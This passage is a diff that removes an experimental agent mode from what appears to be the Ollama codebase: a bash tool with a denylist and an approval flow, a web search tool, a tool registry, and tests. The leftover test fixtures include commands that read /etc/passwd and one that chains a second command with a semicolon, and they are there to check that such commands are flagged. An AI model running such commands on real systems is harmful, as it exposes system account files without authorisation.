-			command:  "cat /etc/passwd | grep root",
-			expected: true,
-		},
-		{
-			name:     "semicolon commands outside cwd",
-			command:  "echo test; cat /etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "single parent dir escapes cwd",
-			command:  "cat ../README.md",
-			expected: true, // Parent directory is outside cwd
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := isCommandOutsideCwd(tt.command)
-			if result != tt.expected {
-				t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
-					tt.command, result, tt.expected)
-			}
-		})
-	}
-}

x/agent/approval_unix.go

@@ -1,27 +0,0 @@
-//go:build !windows
-
-package agent
-
-import (
-	"syscall"
-	"time"
-)
-
-// flushStdin drains any buffered input from stdin.
-// This prevents leftover input from previous operations from affecting the selector.
-func flushStdin(fd int) {
-	if err := syscall.SetNonblock(fd, true); err != nil {
-		return
-	}
-	defer syscall.SetNonblock(fd, false)
-
-	time.Sleep(5 * time.Millisecond)
-
-	buf := make([]byte, 256)
-	for {
-		n, err := syscall.Read(fd, buf)
-		if n <= 0 || err != nil {
-			break
-		}
-	}
-}

x/agent/approval_windows.go

@@ -1,15 +0,0 @@
-//go:build windows
-
-package agent
-
-import (
-	"os"
-
-	"golang.org/x/sys/windows"
-)
-
-// flushStdin clears any buffered console input on Windows.
-func flushStdin(_ int) {
-	handle := windows.Handle(os.Stdin.Fd())
-	_ = windows.FlushConsoleInputBuffer(handle)
-}

x/cmd/run.go

@@ -1,588 +0,0 @@
-package cmd
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"os"
-	"os/signal"
-	"strings"
-	"syscall"
-
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
-	"github.com/ollama/ollama/api"
-	"github.com/ollama/ollama/progress"
-	"github.com/ollama/ollama/readline"
-	"github.com/ollama/ollama/types/model"
-	"github.com/ollama/ollama/x/agent"
-	"github.com/ollama/ollama/x/tools"
-)
-
-// RunOptions contains options for running an interactive agent session.
-type RunOptions struct {
-	Model        string
-	Messages     []api.Message
-	WordWrap     bool
-	Format       string
-	System       string
-	Options      map[string]any
-	KeepAlive    *api.Duration
-	Think        *api.ThinkValue
-	HideThinking bool
-
-	// Agent fields (managed externally for session persistence)
-	Tools    *tools.Registry
-	Approval *agent.ApprovalManager
-}
-
-// Chat runs an agent chat loop with tool support.
-// This is the experimental version of chat that supports tool calling.
-func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return nil, err
-	}
-
-	// Use tools registry and approval from opts (managed by caller for session persistence)
-	toolRegistry := opts.Tools
-	approval := opts.Approval
-	if approval == nil {
-		approval = agent.NewApprovalManager()
-	}
-
-	p := progress.NewProgress(os.Stderr)
-	defer p.StopAndClear()
-
-	spinner := progress.NewSpinner("")
-	p.Add("", spinner)
-
-	cancelCtx, cancel := context.WithCancel(ctx)
-	defer cancel()
-
-	sigChan := make(chan os.Signal, 1)
-	signal.Notify(sigChan, syscall.SIGINT)
-
-	go func() {
-		<-sigChan
-		cancel()
-	}()
-
-	var state *displayResponseState = &displayResponseState{}
-	var thinkingContent strings.Builder
-	var fullResponse strings.Builder
-	var thinkTagOpened bool = false
-	var thinkTagClosed bool = false
-	var pendingToolCalls []api.ToolCall
-
-	role := "assistant"
-	messages := opts.Messages
-
-	fn := func(response api.ChatResponse) error {
-		if response.Message.Content != "" || !opts.HideThinking {
-			p.StopAndClear()
-		}
-
-		role = response.Message.Role
-		if response.Message.Thinking != "" && !opts.HideThinking {
-			if !thinkTagOpened {
-				fmt.Print(thinkingOutputOpeningText(false))
-				thinkTagOpened = true
-				thinkTagClosed = false
-			}
-			thinkingContent.WriteString(response.Message.Thinking)
-			displayResponse(response.Message.Thinking, opts.WordWrap, state)
-		}
-
-		content := response.Message.Content
-		if thinkTagOpened && !thinkTagClosed && (content != "" || len(response.Message.ToolCalls) > 0) {
-			if !strings.HasSuffix(thinkingContent.String(), "\n") {
-				fmt.Println()
-			}
-			fmt.Print(thinkingOutputClosingText(false))
-			thinkTagOpened = false
-			thinkTagClosed = true
-			state = &displayResponseState{}
-		}
-
-		fullResponse.WriteString(content)
-
-		if response.Message.ToolCalls != nil {
-			toolCalls := response.Message.ToolCalls
-			if len(toolCalls) > 0 {
-				if toolRegistry != nil {
-					// Store tool calls for execution after response is complete
-					pendingToolCalls = append(pendingToolCalls, toolCalls...)
-				} else {
-					// No tools registry, just display tool calls
-					fmt.Print(renderToolCalls(toolCalls, false))
-				}
-			}
-		}
-
-		displayResponse(content, opts.WordWrap, state)
-
-		return nil
-	}
-
-	if opts.Format == "json" {
-		opts.Format = `"` + opts.Format + `"`
-	}
-
-	// Agentic loop: continue until no more tool calls
-	for {
-		req := &api.ChatRequest{
-			Model:    opts.Model,
-			Messages: messages,
-			Format:   json.RawMessage(opts.Format),
-			Options:  opts.Options,
-			Think:    opts.Think,
-		}
-
-		// Add tools
-		if toolRegistry != nil {
-			apiTools := toolRegistry.Tools()
-			if len(apiTools) > 0 {
-				req.Tools = apiTools
-			}
-		}
-
-		if opts.KeepAlive != nil {
-			req.KeepAlive = opts.KeepAlive
-		}
-
-		if err := client.Chat(cancelCtx, req, fn); err != nil {
-			if errors.Is(err, context.Canceled) {
-				return nil, nil
-			}
-
-			if strings.Contains(err.Error(), "upstream error") {
-				p.StopAndClear()
-				fmt.Println("An error occurred while processing your message. Please try again.")
-				fmt.Println()
-				return nil, nil
-			}
-			return nil, err
-		}
-
-		// If no tool calls, we're done
-		if len(pendingToolCalls) == 0 || toolRegistry == nil {
-			break
-		}
-
-		// Execute tool calls and continue the conversation
-		fmt.Fprintf(os.Stderr, "\n")
-
-		// Add assistant's tool call message to history
-		assistantMsg := api.Message{
-			Role:      "assistant",
-			Content:   fullResponse.String(),
-			Thinking:  thinkingContent.String(),
-			ToolCalls: pendingToolCalls,
-		}
-		messages = append(messages, assistantMsg)
-
-		// Execute each tool call and collect results
-		var toolResults []api.Message
-		for _, call := range pendingToolCalls {
-			toolName := call.Function.Name
-			args := call.Function.Arguments.ToMap()
-
-			// For bash commands, check denylist first
-			skipApproval := false
-			if toolName == "bash" {
-				if cmd, ok := args["command"].(string); ok {
-					// Check if command is denied (dangerous pattern)
-					if denied, pattern := agent.IsDenied(cmd); denied {
-						fmt.Fprintf(os.Stderr, "\033[91m✗ Blocked: %s\033[0m\n", formatToolShort(toolName, args))
-						fmt.Fprintf(os.Stderr, "\033[91m  Matches dangerous pattern: %s\033[0m\n", pattern)
-						toolResults = append(toolResults, api.Message{
-							Role:       "tool",
-							Content:    agent.FormatDeniedResult(cmd, pattern),
-							ToolCallID: call.ID,
-						})
-						continue
-					}
-
-					// Check if command is auto-allowed (safe command)
-					if agent.IsAutoAllowed(cmd) {
-						fmt.Fprintf(os.Stderr, "\033[90m▶ Auto-allowed: %s\033[0m\n", formatToolShort(toolName, args))
-						skipApproval = true
-					}
-				}
-			}
-
-			// Check approval (uses prefix matching for bash commands)
-			if !skipApproval && !approval.IsAllowed(toolName, args) {
-				result, err := approval.RequestApproval(toolName, args)
-				if err != nil {
-					fmt.Fprintf(os.Stderr, "Error requesting approval: %v\n", err)
-					toolResults = append(toolResults, api.Message{
-						Role:       "tool",
-						Content:    fmt.Sprintf("Error: %v", err),
-						ToolCallID: call.ID,
-					})
-					continue
-				}
-
-				// Show collapsed result
-				fmt.Fprintln(os.Stderr, agent.FormatApprovalResult(toolName, args, result))
-
-				switch result.Decision {
-				case agent.ApprovalDeny:
-					toolResults = append(toolResults, api.Message{
-						Role:       "tool",
-						Content:    agent.FormatDenyResult(toolName, result.DenyReason),
-						ToolCallID: call.ID,
-					})
-					continue
-				case agent.ApprovalAlways:
-					approval.AddToAllowlist(toolName, args)
-				}
-			} else if !skipApproval {
-				// Already allowed - show running indicator
-				fmt.Fprintf(os.Stderr, "\033[90m▶ Running: %s\033[0m\n", formatToolShort(toolName, args))
-			}
-
-			// Execute the tool
-			toolResult, err := toolRegistry.Execute(call)
-			if err != nil {
-				fmt.Fprintf(os.Stderr, "\033[31m  Error: %v\033[0m\n", err)
-				toolResults = append(toolResults, api.Message{
-					Role:       "tool",
-					Content:    fmt.Sprintf("Error: %v", err),
-					ToolCallID: call.ID,
-				})
-				continue
-			}
-
-			// Display tool output (truncated for display)
-			if toolResult != "" {
-				output := toolResult
-				if len(output) > 300 {
-					output = output[:300] + "... (truncated)"
-				}
-				// Show result in grey, indented
-				fmt.Fprintf(os.Stderr, "\033[90m  %s\033[0m\n", strings.ReplaceAll(output, "\n", "\n  "))
-			}
-
-			toolResults = append(toolResults, api.Message{
-				Role:       "tool",
-				Content:    toolResult,
-				ToolCallID: call.ID,
-			})
-		}
-
-		// Add tool results to message history
-		messages = append(messages, toolResults...)
-
-		fmt.Fprintf(os.Stderr, "\n")
-
-		// Reset state for next iteration
-		fullResponse.Reset()
-		thinkingContent.Reset()
-		thinkTagOpened = false
-		thinkTagClosed = false
-		pendingToolCalls = nil
-		state = &displayResponseState{}
-
-		// Start new progress spinner for next API call
-		p = progress.NewProgress(os.Stderr)
-		spinner = progress.NewSpinner("")
-		p.Add("", spinner)
-	}
-
-	if len(opts.Messages) > 0 {
-		fmt.Println()
-		fmt.Println()
-	}
-
-	return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
-}
-
-// truncateUTF8 safely truncates a string to at most limit runes, adding "..." if truncated.
-func truncateUTF8(s string, limit int) string {
-	runes := []rune(s)
-	if len(runes) <= limit {
-		return s
-	}
-	if limit <= 3 {
-		return string(runes[:limit])
-	}
-	return string(runes[:limit-3]) + "..."
-}
-
-// formatToolShort returns a short description of a tool call.
-func formatToolShort(toolName string, args map[string]any) string {
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			return fmt.Sprintf("bash: %s", truncateUTF8(cmd, 50))
-		}
-	}
-	if toolName == "web_search" {
-		if query, ok := args["query"].(string); ok {
-			return fmt.Sprintf("web_search: %s", truncateUTF8(query, 50))
-		}
-	}
-	return toolName
-}
-
-// Helper types and functions for display
-
-type displayResponseState struct {
-	lineLength int
-	wordBuffer string
-}
-
-func displayResponse(content string, wordWrap bool, state *displayResponseState) {
-	termWidth, _, _ := term.GetSize(int(os.Stdout.Fd()))
-	if wordWrap && termWidth >= 10 {
-		for _, ch := range content {
-			if state.lineLength+1 > termWidth-5 {
-				if len(state.wordBuffer) > termWidth-10 {
-					fmt.Printf("%s%c", state.wordBuffer, ch)
-					state.wordBuffer = ""
-					state.lineLength = 0
-					continue
-				}
-
-				// backtrack the length of the last word and clear to the end of the line
-				a := len(state.wordBuffer)
-				if a > 0 {
-					fmt.Printf("\x1b[%dD", a)
-				}
-				fmt.Printf("\x1b[K\n")
-				fmt.Printf("%s%c", state.wordBuffer, ch)
-
-				state.lineLength = len(state.wordBuffer) + 1
-			} else {
-				fmt.Print(string(ch))
-				state.lineLength++
-
-				switch ch {
-				case ' ', '\t':
-					state.wordBuffer = ""
-				case '\n', '\r':
-					state.lineLength = 0
-					state.wordBuffer = ""
-				default:
-					state.wordBuffer += string(ch)
-				}
-			}
-		}
-	} else {
-		fmt.Printf("%s%s", state.wordBuffer, content)
-		if len(state.wordBuffer) > 0 {
-			state.wordBuffer = ""
-		}
-	}
-}
-
-func thinkingOutputOpeningText(plainText bool) string {
-	text := "Thinking...\n"
-
-	if plainText {
-		return text
-	}
-
-	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault + readline.ColorGrey
-}
-
-func thinkingOutputClosingText(plainText bool) string {
-	text := "...done thinking.\n\n"
-
-	if plainText {
-		return text
-	}
-
-	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault
-}
-
-func renderToolCalls(toolCalls []api.ToolCall, plainText bool) string {
-	out := ""
-	formatExplanation := ""
-	formatValues := ""
-	if !plainText {
-		formatExplanation = readline.ColorGrey + readline.ColorBold
-		formatValues = readline.ColorDefault
-		out += formatExplanation
-	}
-	for i, toolCall := range toolCalls {
-		argsAsJSON, err := json.Marshal(toolCall.Function.Arguments)
-		if err != nil {
-			return ""
-		}
-		if i > 0 {
-			out += "\n"
-		}
-		out += fmt.Sprintf("  Tool call: %s(%s)", formatValues+toolCall.Function.Name+formatExplanation, formatValues+string(argsAsJSON)+formatExplanation)
-	}
-	if !plainText {
-		out += readline.ColorDefault
-	}
-	return out
-}
-
-// checkModelCapabilities checks if the model supports tools.
-func checkModelCapabilities(ctx context.Context, modelName string) (supportsTools bool, err error) {
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return false, err
-	}
-
-	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
-	if err != nil {
-		return false, err
-	}
-
-	for _, cap := range resp.Capabilities {
-		if cap == model.CapabilityTools {
-			return true, nil
-		}
-	}
-
-	return false, nil
-}
-
-// GenerateInteractive runs an interactive agent session.
-// This is called from cmd.go when --experimental flag is set.
-func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration) error {
-	scanner, err := readline.New(readline.Prompt{
-		Prompt:         ">>> ",
-		AltPrompt:      "... ",
-		Placeholder:    "Send a message (/? for help)",
-		AltPlaceholder: `Use """ to end multi-line input`,
-	})
-	if err != nil {
-		return err
-	}
-
-	fmt.Print(readline.StartBracketedPaste)
-	defer fmt.Printf(readline.EndBracketedPaste)
-
-	// Check if model supports tools
-	supportsTools, err := checkModelCapabilities(cmd.Context(), modelName)
-	if err != nil {
-		fmt.Fprintf(os.Stderr, "\033[33mWarning: Could not check model capabilities: %v\033[0m\n", err)
-		supportsTools = false
-	}
-
-	// Create tool registry only if model supports tools
-	var toolRegistry *tools.Registry
-	if supportsTools {
-		toolRegistry = tools.DefaultRegistry()
-		fmt.Fprintf(os.Stderr, "Tools available: %s\n", strings.Join(toolRegistry.Names(), ", "))
-
-		// Check for OLLAMA_API_KEY for web search
-		if os.Getenv("OLLAMA_API_KEY") == "" {
-			fmt.Fprintf(os.Stderr, "\033[33mWarning: OLLAMA_API_KEY not set - web search will not work\033[0m\n")
-		}
-	} else {
-		fmt.Fprintf(os.Stderr, "\033[33mNote: Model does not support tools - running in chat-only mode\033[0m\n")
-	}
-
-	// Create approval manager for session
-	approval := agent.NewApprovalManager()
-
-	var messages []api.Message
-	var sb strings.Builder
-
-	for {
-		line, err := scanner.Readline()
-		switch {
-		case errors.Is(err, io.EOF):
-			fmt.Println()
-			return nil
-		case errors.Is(err, readline.ErrInterrupt):
-			if line == "" {
-				fmt.Println("\nUse Ctrl + d or /bye to exit.")
-			}
-			sb.Reset()
-			continue
-		case err != nil:
-			return err
-		}
-
-		switch {
-		case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
-			return nil
-		case strings.HasPrefix(line, "/clear"):
-			messages = []api.Message{}
-			approval.Reset()
-			fmt.Println("Cleared session context and tool approvals")
-			continue
-		case strings.HasPrefix(line, "/tools"):
-			showToolsStatus(toolRegistry, approval, supportsTools)
-			continue
-		case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
-			fmt.Fprintln(os.Stderr, "Available Commands:")
-			fmt.Fprintln(os.Stderr, "  /tools          Show available tools and approvals")
-			fmt.Fprintln(os.Stderr, "  /clear          Clear session context and approvals")
-			fmt.Fprintln(os.Stderr, "  /bye            Exit")
-			fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
-			fmt.Fprintln(os.Stderr, "")
-			continue
-		case strings.HasPrefix(line, "/"):
-			fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
-			continue
-		default:
-			sb.WriteString(line)
-		}
-
-		if sb.Len() > 0 {
-			newMessage := api.Message{Role: "user", Content: sb.String()}
-			messages = append(messages, newMessage)
-
-			opts := RunOptions{
-				Model:        modelName,
-				Messages:     messages,
-				WordWrap:     wordWrap,
-				Options:      options,
-				Think:        think,
-				HideThinking: hideThinking,
-				KeepAlive:    keepAlive,
-				Tools:        toolRegistry,
-				Approval:     approval,
-			}
-
-			assistant, err := Chat(cmd.Context(), opts)
-			if err != nil {
-				return err
-			}
-			if assistant != nil {
-				messages = append(messages, *assistant)
-			}
-
-			sb.Reset()
-		}
-	}
-}
-
-// showToolsStatus displays the current tools and approval status.
-func showToolsStatus(registry *tools.Registry, approval *agent.ApprovalManager, supportsTools bool) {
-	if !supportsTools || registry == nil {
-		fmt.Println("Tools not available - model does not support tool calling")
-		fmt.Println()
-		return
-	}
-
-	fmt.Println("Available tools:")
-	for _, name := range registry.Names() {
-		tool, _ := registry.Get(name)
-		fmt.Printf("  %s - %s\n", name, tool.Description())
-	}
-
-	allowed := approval.AllowedTools()
-	if len(allowed) > 0 {
-		fmt.Println("\nSession approvals:")
-		for _, key := range allowed {
-			fmt.Printf("  %s\n", key)
-		}
-	} else {
-		fmt.Println("\nNo tools approved for this session yet")
-	}
-	fmt.Println()
-}

x/tools/bash.go

@@ -1,114 +0,0 @@
-package tools
-
-import (
-	"bytes"
-	"context"
-	"fmt"
-	"os/exec"
-	"strings"
-	"time"
-
-	"github.com/ollama/ollama/api"
-)
-
-const (
-	// bashTimeout is the maximum execution time for a command.
-	bashTimeout = 60 * time.Second
-	// maxOutputSize is the maximum output size in bytes.
-	maxOutputSize = 50000
-)
-
-// BashTool implements shell command execution.
-type BashTool struct{}
-
-// Name returns the tool name.
-func (b *BashTool) Name() string {
-	return "bash"
-}
-
-// Description returns a description of the tool.
-func (b *BashTool) Description() string {
-	return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc."
-}
-
-// Schema returns the tool's parameter schema.
-func (b *BashTool) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("command", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The bash command to execute",
-	})
-	return api.ToolFunction{
-		Name:        b.Name(),
-		Description: b.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"command"},
-		},
-	}
-}
-
-// Execute runs the bash command.
-func (b *BashTool) Execute(args map[string]any) (string, error) {
-	command, ok := args["command"].(string)
-	if !ok || command == "" {
-		return "", fmt.Errorf("command parameter is required")
-	}
-
-	// Create context with timeout
-	ctx, cancel := context.WithTimeout(context.Background(), bashTimeout)
-	defer cancel()
-
-	// Execute command
-	cmd := exec.CommandContext(ctx, "bash", "-c", command)
-
-	var stdout, stderr bytes.Buffer
-	cmd.Stdout = &stdout
-	cmd.Stderr = &stderr
-
-	err := cmd.Run()
-
-	// Build output
-	var sb strings.Builder
-
-	// Add stdout
-	if stdout.Len() > 0 {
-		output := stdout.String()
-		if len(output) > maxOutputSize {
-			output = output[:maxOutputSize] + "\n... (output truncated)"
-		}
-		sb.WriteString(output)
-	}
-
-	// Add stderr if present
-	if stderr.Len() > 0 {
-		stderrOutput := stderr.String()
-		if len(stderrOutput) > maxOutputSize {
-			stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
-		}
-		if sb.Len() > 0 {
-			sb.WriteString("\n")
-		}
-		sb.WriteString("stderr:\n")
-		sb.WriteString(stderrOutput)
-	}
-
-	// Handle errors
-	if err != nil {
-		if ctx.Err() == context.DeadlineExceeded {
-			return sb.String() + "\n\nError: command timed out after 60 seconds", nil
-		}
-		// Include exit code in output but don't return as error
-		if exitErr, ok := err.(*exec.ExitError); ok {
-			return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
-		}
-		return sb.String(), fmt.Errorf("executing command: %w", err)
-	}
-
-	if sb.Len() == 0 {
-		return "(no output)", nil
-	}
-
-	return sb.String(), nil
-}

x/tools/registry.go

@@ -1,96 +0,0 @@
-// Package tools provides built-in tool implementations for the agent loop.
-package tools
-
-import (
-	"fmt"
-	"sort"
-
-	"github.com/ollama/ollama/api"
-)
-
-// Tool defines the interface for agent tools.
-type Tool interface {
-	// Name returns the tool's unique identifier.
-	Name() string
-	// Description returns a human-readable description of what the tool does.
-	Description() string
-	// Schema returns the tool's parameter schema for the LLM.
-	Schema() api.ToolFunction
-	// Execute runs the tool with the given arguments.
-	Execute(args map[string]any) (string, error)
-}
-
-// Registry manages available tools.
-type Registry struct {
-	tools map[string]Tool
-}
-
-// NewRegistry creates a new tool registry.
-func NewRegistry() *Registry {
-	return &Registry{
-		tools: make(map[string]Tool),
-	}
-}
-
-// Register adds a tool to the registry.
-func (r *Registry) Register(tool Tool) {
-	r.tools[tool.Name()] = tool
-}
-
-// Get retrieves a tool by name.
-func (r *Registry) Get(name string) (Tool, bool) {
-	tool, ok := r.tools[name]
-	return tool, ok
-}
-
-// Tools returns all registered tools in Ollama API format, sorted by name.
-func (r *Registry) Tools() api.Tools {
-	// Get sorted names for deterministic ordering
-	names := make([]string, 0, len(r.tools))
-	for name := range r.tools {
-		names = append(names, name)
-	}
-	sort.Strings(names)
-
-	var tools api.Tools
-	for _, name := range names {
-		tool := r.tools[name]
-		tools = append(tools, api.Tool{
-			Type:     "function",
-			Function: tool.Schema(),
-		})
-	}
-	return tools
-}
-
-// Execute runs a tool call and returns the result.
-func (r *Registry) Execute(call api.ToolCall) (string, error) {
-	tool, ok := r.tools[call.Function.Name]
-	if !ok {
-		return "", fmt.Errorf("unknown tool: %s", call.Function.Name)
-	}
-	return tool.Execute(call.Function.Arguments.ToMap())
-}
-
-// Names returns the names of all registered tools, sorted alphabetically.
-func (r *Registry) Names() []string {
-	names := make([]string, 0, len(r.tools))
-	for name := range r.tools {
-		names = append(names, name)
-	}
-	sort.Strings(names)
-	return names
-}
-
-// Count returns the number of registered tools.
-func (r *Registry) Count() int {
-	return len(r.tools)
-}
-
-// DefaultRegistry creates a registry with all built-in tools.
-func DefaultRegistry() *Registry {
-	r := NewRegistry()
-	r.Register(&WebSearchTool{})
-	r.Register(&BashTool{})
-	return r
-}

x/tools/registry_test.go

@@ -1,143 +0,0 @@
-package tools
-
-import (
-	"testing"
-
-	"github.com/ollama/ollama/api"
-)
-
-func TestRegistry_Register(t *testing.T) {
-	r := NewRegistry()
-
-	r.Register(&BashTool{})
-	r.Register(&WebSearchTool{})
-
-	if r.Count() != 2 {
-		t.Errorf("expected 2 tools, got %d", r.Count())
-	}
-
-	names := r.Names()
-	if len(names) != 2 {
-		t.Errorf("expected 2 names, got %d", len(names))
-	}
-}
-
-func TestRegistry_Get(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-
-	tool, ok := r.Get("bash")
-	if !ok {
-		t.Fatal("expected to find bash tool")
-	}
-
-	if tool.Name() != "bash" {
-		t.Errorf("expected name 'bash', got '%s'", tool.Name())
-	}
-
-	_, ok = r.Get("nonexistent")
-	if ok {
-		t.Error("expected not to find nonexistent tool")
-	}
-}
-
-func TestRegistry_Tools(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-	r.Register(&WebSearchTool{})
-
-	tools := r.Tools()
-	if len(tools) != 2 {
-		t.Errorf("expected 2 tools, got %d", len(tools))
-	}
-
-	for _, tool := range tools {
-		if tool.Type != "function" {
-			t.Errorf("expected type 'function', got '%s'", tool.Type)
-		}
-	}
-}
-
-func TestRegistry_Execute(t *testing.T) {
-	r := NewRegistry()
-	r.Register(&BashTool{})
-
-	// Test successful execution
-	args := api.NewToolCallFunctionArguments()
-	args.Set("command", "echo hello")
-	result, err := r.Execute(api.ToolCall{
-		Function: api.ToolCallFunction{
-			Name:      "bash",
-			Arguments: args,
-		},
-	})
-	if err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if result != "hello\n" {
-		t.Errorf("expected 'hello\\n', got '%s'", result)
-	}
-
-	// Test unknown tool
-	_, err = r.Execute(api.ToolCall{
-		Function: api.ToolCallFunction{
-			Name:      "unknown",
-			Arguments: api.NewToolCallFunctionArguments(),
-		},
-	})
-	if err == nil {
-		t.Error("expected error for unknown tool")
-	}
-}
-
-func TestDefaultRegistry(t *testing.T) {
-	r := DefaultRegistry()
-
-	if r.Count() != 2 {
-		t.Errorf("expected 2 tools in default registry, got %d", r.Count())
-	}
-
-	_, ok := r.Get("bash")
-	if !ok {
-		t.Error("expected bash tool in default registry")
-	}
-
-	_, ok = r.Get("web_search")
-	if !ok {
-		t.Error("expected web_search tool in default registry")
-	}
-}
-
-func TestBashTool_Schema(t *testing.T) {
-	tool := &BashTool{}
-
-	schema := tool.Schema()
-	if schema.Name != "bash" {
-		t.Errorf("expected name 'bash', got '%s'", schema.Name)
-	}
-
-	if schema.Parameters.Type != "object" {
-		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
-	}
-
-	if _, ok := schema.Parameters.Properties.Get("command"); !ok {
-		t.Error("expected 'command' property in schema")
-	}
-}
-
-func TestWebSearchTool_Schema(t *testing.T) {
-	tool := &WebSearchTool{}
-
-	schema := tool.Schema()
-	if schema.Name != "web_search" {
-		t.Errorf("expected name 'web_search', got '%s'", schema.Name)
-	}
-
-	if schema.Parameters.Type != "object" {
-		t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
-	}
-
-	if _, ok := schema.Parameters.Properties.Get("query"); !ok {
-		t.Error("expected 'query' property in schema")
-	}
-}

x/tools/websearch.go

@@ -1,148 +0,0 @@
-package tools
-
-import (
-	"bytes"
-	"encoding/json"
-	"fmt"
-	"io"
-	"net/http"
-	"os"
-	"strings"
-	"time"
-
-	"github.com/ollama/ollama/api"
-)
-
-const (
-	webSearchAPI     = "https://ollama.com/api/web_search"
-	webSearchTimeout = 15 * time.Second
-)
-
-// WebSearchTool implements web search using Ollama's hosted API.
-type WebSearchTool struct{}
-
-// Name returns the tool name.
-func (w *WebSearchTool) Name() string {
-	return "web_search"
-}
-
-// Description returns a description of the tool.
-func (w *WebSearchTool) Description() string {
-	return "Search the web for current information. Use this when you need up-to-date information that may not be in your training data."
-}
-
-// Schema returns the tool's parameter schema.
-func (w *WebSearchTool) Schema() api.ToolFunction {
-	props := api.NewToolPropertiesMap()
-	props.Set("query", api.ToolProperty{
-		Type:        api.PropertyType{"string"},
-		Description: "The search query to look up on the web",
-	})
-	return api.ToolFunction{
-		Name:        w.Name(),
-		Description: w.Description(),
-		Parameters: api.ToolFunctionParameters{
-			Type:       "object",
-			Properties: props,
-			Required:   []string{"query"},
-		},
-	}
-}
-
-// webSearchRequest is the request body for the web search API.
-type webSearchRequest struct {
-	Query      string `json:"query"`
-	MaxResults int    `json:"max_results,omitempty"`
-}
-
-// webSearchResponse is the response from the web search API.
-type webSearchResponse struct {
-	Results []webSearchResult `json:"results"`
-}
-
-// webSearchResult is a single search result.
-type webSearchResult struct {
-	Title   string `json:"title"`
-	URL     string `json:"url"`
-	Content string `json:"content"`
-}
-
-// Execute performs the web search.
-func (w *WebSearchTool) Execute(args map[string]any) (string, error) {
-	query, ok := args["query"].(string)
-	if !ok || query == "" {
-		return "", fmt.Errorf("query parameter is required")
-	}
-
-	apiKey := os.Getenv("OLLAMA_API_KEY")
-	if apiKey == "" {
-		return "", fmt.Errorf("OLLAMA_API_KEY environment variable is required for web search")
-	}
-
-	// Prepare request
-	reqBody := webSearchRequest{
-		Query:      query,
-		MaxResults: 5,
-	}
-
-	jsonBody, err := json.Marshal(reqBody)
-	if err != nil {
-		return "", fmt.Errorf("marshaling request: %w", err)
-	}
-
-	req, err := http.NewRequest("POST", webSearchAPI, bytes.NewBuffer(jsonBody))
-	if err != nil {
-		return "", fmt.Errorf("creating request: %w", err)
-	}
-
-	req.Header.Set("Content-Type", "application/json")
-	req.Header.Set("Authorization", "Bearer "+apiKey)
-
-	// Send request
-	client := &http.Client{Timeout: webSearchTimeout}
-	resp, err := client.Do(req)
-	if err != nil {
-		return "", fmt.Errorf("sending request: %w", err)
-	}
-	defer resp.Body.Close()
-
-	body, err := io.ReadAll(resp.Body)
-	if err != nil {
-		return "", fmt.Errorf("reading response: %w", err)
-	}
-
-	if resp.StatusCode != http.StatusOK {
-		return "", fmt.Errorf("web search API returned status %d: %s", resp.StatusCode, string(body))
-	}
-
-	// Parse response
-	var searchResp webSearchResponse
-	if err := json.Unmarshal(body, &searchResp); err != nil {
-		return "", fmt.Errorf("parsing response: %w", err)
-	}
-
-	// Format results
-	if len(searchResp.Results) == 0 {
-		return "No results found for query: " + query, nil
-	}
-
-	var sb strings.Builder
-	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
-
-	for i, result := range searchResp.Results {
-		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
-		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
-		if result.Content != "" {
-			// Truncate long content (UTF-8 safe)
-			content := result.Content
-			runes := []rune(content)
-			if len(runes) > 300 {
-				content = string(runes[:300]) + "..."
-			}
-			sb.WriteString(fmt.Sprintf("   %s\n", content))
-		}
-		sb.WriteString("\n")
-	}
-
-	return sb.String(), nil
-}